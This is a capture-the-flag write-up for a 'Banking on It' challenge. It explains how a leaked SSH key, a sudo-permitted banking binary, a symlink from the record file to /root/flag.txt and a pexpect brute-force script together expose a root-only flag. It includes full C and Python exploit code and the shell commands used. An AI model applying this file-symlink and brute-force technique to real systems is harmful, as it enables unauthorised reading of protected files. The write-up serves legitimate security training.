## Background
My team mate [bigpick](https://github.com/bigpick) completed "Stage 1 of Path 4 in The Mission" and found the following source code and SSH key for Gus:
https://github.com/gusrodry/development/blob/master/bank.c
https://github.com/gusrodry/development/tree/master/config/.ssh
And of course we need these files for this second part of the mission.
```wget https://raw.githubusercontent.com/gusrodry/development/master/bank.c``````wget -O gus_id_rsa https://raw.githubusercontent.com/gusrodry/development/master/config/.ssh/id_rsa```
## Analysis
On the remote system, the `bank` program and related files can be found under `/opt/banking`:
```gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ ls -o /opt/banking/total 48-r-xr-xr-x 1 root 42960 Mar 11 05:32 bank-rw-rw-rw- 1 gus      0 Mar 11 05:32 clerk.dat-rw-rw-rw- 1 gus      0 Mar 11 05:32 customer.dat-rw-rw-rw- 1 gus      0 Mar 11 05:32 manager.dat-rw-rw-rw- 1 gus     32 Mar 11 05:32 recordInfo.txt```
And we have sudo privs for that one executable:
```gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ grep gus /etc/sudoersgus     ALL=(root) NOPASSWD:SETENV: /opt/banking/bank```
I tried running it locally first to see how it behaves. I experimented with a bunch of different things, but this is the most relevant path of execution.
### Create a customer account
```kali@kali:~/Downloads/banking_on_it$ touch clerk.dat customer.dat manager.dat recordInfo.txtkali@kali:~/Downloads/banking_on_it$ ./bankSeeding the PRNG and getting randomness for digital entropy...                        Welcome to bank system!!!
Local time is: Sun Mar 14 14:19:54 2021 Choose the mode!**************************************************************************1.Create a customer account!************2.Log in as a customer!********3.Create a clerk account!***************4.Log in as a clerk!***********5.Create a manager account!*************6.Log in as a manager!*********7.Exit!************************************************************************************************************************************
1Now you are creating a customer account, please input information as asked:
Please input your name within 20-digit characaters:        userPlease input your telephone number within 15-digit numbers:        nonePlease input your address within 40-digit characters:        nonePlease input your pin in 6-digit numbers:        111111Now you are given a card number which is used to log in, please record it down!!!Card id is: 61684890
Press any button to continue!                        Welcome to bank system!!!
Local time is: Sun Mar 14 14:19:55 2021```
Creating a customer account triggers `addCustomer()` in bank.c which generates a new card id, and saves the new customer in customer.dat (binary data file).
It also appends the following line to recordInfo.txt:
```61684890: Account is biuld in Sun Mar 14 14:19:55 2021```
### Login as the customer
```Choose the mode!**************************************************************************1.Create a customer account!************2.Log in as a customer!********3.Create a clerk account!***************4.Log in as a clerk!***********5.Create a manager account!*************6.Log in as a manager!*********7.Exit!************************************************************************************************************************************
2Please input the 8-digit card number:
        61684890Please input the 6-digit pin:
        111111Log in successfully!```
This calls into `logCustomer()` in bank.c and appends the following line to recordInfo.txt:
```61684890: Account has log in at Sun Mar 14 14:21:04 2021```
### Access activities record
```Activities you could choose:****************************************************************************1.Withdrawal from account.    *****2.Access to account information.******3.Change your pin number.     *****4.Transfer money to others.     ******5.Access to activities record.*****6.Log out.                      ****************************************************************************5Please enter the pin again:
        11111161684890: Account is biuld in Sun Mar 14 14:19:55 202161684890: Account has log in at Sun Mar 14 14:21:04 2021```
This function reads each line in recordInfo.txt and prints it out if the first 8 characters matches our customer card id. This is the code in bank.c that processes recordInfo.txt:
```cfor(i = 0;i<9;i++) searchId[i] = 0;while (1){	flag3 = 0;	if (fgets(searchId, 9, fptr) && strcmp(searchId, account.cardId) == 0) flag3 = 1;	fseek(fptr, -8L, SEEK_CUR);	fgets(buf, MAX_LINE, fptr);	len = strlen(buf);	if(len==7) break;	buf[len - 1] = '\0';	if (flag3 == 1) printf("%s\n", buf);
}```
We know the flag format starts with `flag{XXX` where each `X` is a hex digit (0-f), so we should be able to generate a customer.dat file with 4096 entries, covering every possible combination that could match the first 8 chars of the flag.
Then if we symlink recordInfo.txt to /root/flag.txt, and our customer card id matches the first 8 chars of the flag, then accessing the activities record with that card id should print the flag for us, since it will be the first line in recordInfo.txt.
## Solution
Generate customer.dat with all possible matches for the first 8 characters of the flag.
```c#include <stdio.h>#include <stdlib.h>#include <time.h>#include <string.h>
typedef struct customer{        char cardId[9];        int state;        char name[21];        char pin[7];        long long balance;        char telNumber[16];        char address[41];        struct customer * next;} Customer;
int main() {        char *filename1="customer.dat";        char *alphabet="0123456789abcdef";        char *prefix="flag{";        FILE *fptr;
        fptr = fopen(filename1,"ab+");        if (fptr == NULL) {                printf("failed to open %s\n", filename1);                exit(1);        }
        for (int i = 0; i < strlen(alphabet); i++) {                for (int j = 0; j < strlen(alphabet); j++) {                        for (int k = 0; k < strlen(alphabet); k++) {                                Customer cust = {0};                                strcpy(cust.cardId, prefix);                                cust.cardId[5] = alphabet[i];                                cust.cardId[6] = alphabet[j];                                cust.cardId[7] = alphabet[k];                                strcpy(cust.name, cust.cardId);                                strcpy(cust.pin, "111111");                                strcpy(cust.telNumber, "1800hackers");                                strcpy(cust.address, "localhost");
                                fseek(fptr, 0L, SEEK_END);                                fwrite(&cust,sizeof(Customer),1,fptr);                        }                }        }
        fclose(fptr);        return 0;}```
```gcc -o gen_customers gen_customers.c && ./gen_customers```
Use pexpect to automatically try each card id and print the first line from `recordInfo.txt`:
```python#!/usr/bin/env python3import syssys.path.append('./pexpect')import pexpectalphabet = '0123456789abcdef'
for i in alphabet:    for j in alphabet:        for k in alphabet:            card = 'flag{' + i + j + k            p = pexpect.spawn('sudo /opt/banking/bank')            p.readline()            p.sendline('2')            p.expect('Please input the 8-digit card number:')            p.sendline(card)            p.expect('Please input the 6-digit pin:')            p.sendline('111111')            p.expect('Activities you could choose:')            p.sendline('5')            p.expect('Please enter the pin again:')            p.sendline('111111')            p.readline()            p.readline()            p.readline()            print(p.readline())            p.sendcontrol('c')```
The remote system where we need to run this doesn't have pexpect or pip (or much of anything) installed, so we need to install pexpect to a local directory and then copy that to the remote system:
```kali@kali:~/Downloads/banking_on_it$ pip install --target=pexpect/ pexpect...kali@kali:~/Downloads/banking_on_it$ tar -cf pexpect.tar pexpect/```
Copy our generated customer.dat file, pexpect.tar, and solve.py to the system:
```kali@kali:~/Downloads/banking_on_it$ scp -r -i ~/gus_id_rsa -P 30616 customer.dat [email protected]:~/customer.dat                                                      100%  512KB 758.8KB/s   00:00kali@kali:~/Downloads/banking_on_it$ scp -r -i ~/gus_id_rsa -P 30616 pexpect.tar [email protected]:~/pexpect.tar                                                       100%  430KB 665.8KB/s   00:00kali@kali:~/Downloads/banking_on_it$ scp -r -i ~/gus_id_rsa -P 30616 solve.py [email protected]:~/solve.py                                                         100% 1199    50.0KB/s   00:00```
Then login to the system, extract pexpect.tar, link recordInfo.txt to /root/flag.txt, and create clerk.dat and manager.dat.
```gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ tar -xf pexpect.tar gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ ln -s /root/flag.txt recordInfo.txtgus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ touch clerk.dat manager.dat```
```gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ ls -ltotal 956-rw-rw-r-- 1 gus gus      0 Mar 14 17:33 clerk.dat-rw-r--r-- 1 gus gus 524416 Mar 14 17:32 customer.dat-rw-rw-r-- 1 gus gus      0 Mar 14 17:33 manager.datdrwxr-xr-x 6 gus gus   4096 Mar 14 16:49 pexpect-rw-r--r-- 1 gus gus 440320 Mar 14 17:32 pexpect.tarlrwxrwxrwx 1 gus gus     14 Mar 14 17:33 recordInfo.txt -> /root/flag.txt-rwxr-xr-x 1 gus gus    809 Mar 14 17:36 solve.py```
Run the script to find the flag:
```gus@banking-on-it-eeb908d4ed2c2144-5f84f76f97-b6vn5:~$ ./solve.py ...b'flag{0fc: Account has log in at Sun Mar 14 17:38:37 2021\r\n'b'flag{0fd: Account has log in at Sun Mar 14 17:38:37 2021\r\n'b'flag{0fe: Account has log in at Sun Mar 14 17:38:38 2021\r\n'b'flag{0ff: Account has log in at Sun Mar 14 17:38:38 2021\r\n'b'flag{100: Account has log in at Sun Mar 14 17:38:39 2021\r\n'b'flag{101c109fc3b54ca2dc3167fe727deb8c}\r\n'b'flag{102: Account has log in at Sun Mar 14 17:38:39 2021\r\n'b'flag{103: Account has log in at Sun Mar 14 17:38:40 2021\r\n'b'flag{104: Account has log in at Sun Mar 14 17:38:40 2021\r\n'...```
The flag is:
```flag{101c109fc3b54ca2dc3167fe727deb8c}```
## Things That Didn't Work
I tried a bunch of different things locally that did not work on the remote system once sudo was in the mix:
* gdb or ptrace: locally I was able to see what the first 8 chars in recordInfo.txt by setting a breakpoint in gdb, but the remote system didn't have gdb or ptrace. And since the command runs as root there, I couldn't use gdb or ptrace as a normal user anyway (permission denied).* scpying pwntools to remote system: my first version of solve.py used pwntools, which worked great locally. But pwntools pulls in a bunch of dependencies and turned into >150mb of packages once installed. When I tried to scp that tarball to the remote system to get the dependencies I needed, the container would restart either in the middle of the scp command, or when extracting the tarball. Our best guess was that there was a space constraint set on the container so it restarts if we cross a certain threshold. Pwntools was ultimately too big to copy to the system.* pwntools over ssh: I tried running my pwntools script locally but invoking an ssh command into the remote system. This would have been alright, if it weren't for needing sudo. There's some behavior here that I don't fully understand, but bottom line, I couldn't find a way to run my pwntools script locally in a way that could ssh to the remote system, sudo /opt/banking/bank, and capture the output correctly.* I tried using a series of quick bash and perl scripts using timeout command to escape from that infinite loop where it keeps calling fseek, but the timeout command was failing to kill each bank process, because of course that process was running as root. We needed some way to send Ctrl-C as input and not just a kill signal.
But in the end, pexpect did the job, it was small enough to scp to the remote system without tripping over the storage constraint, and the methods for pexpect were very similar to what I was using from pwntools anyway.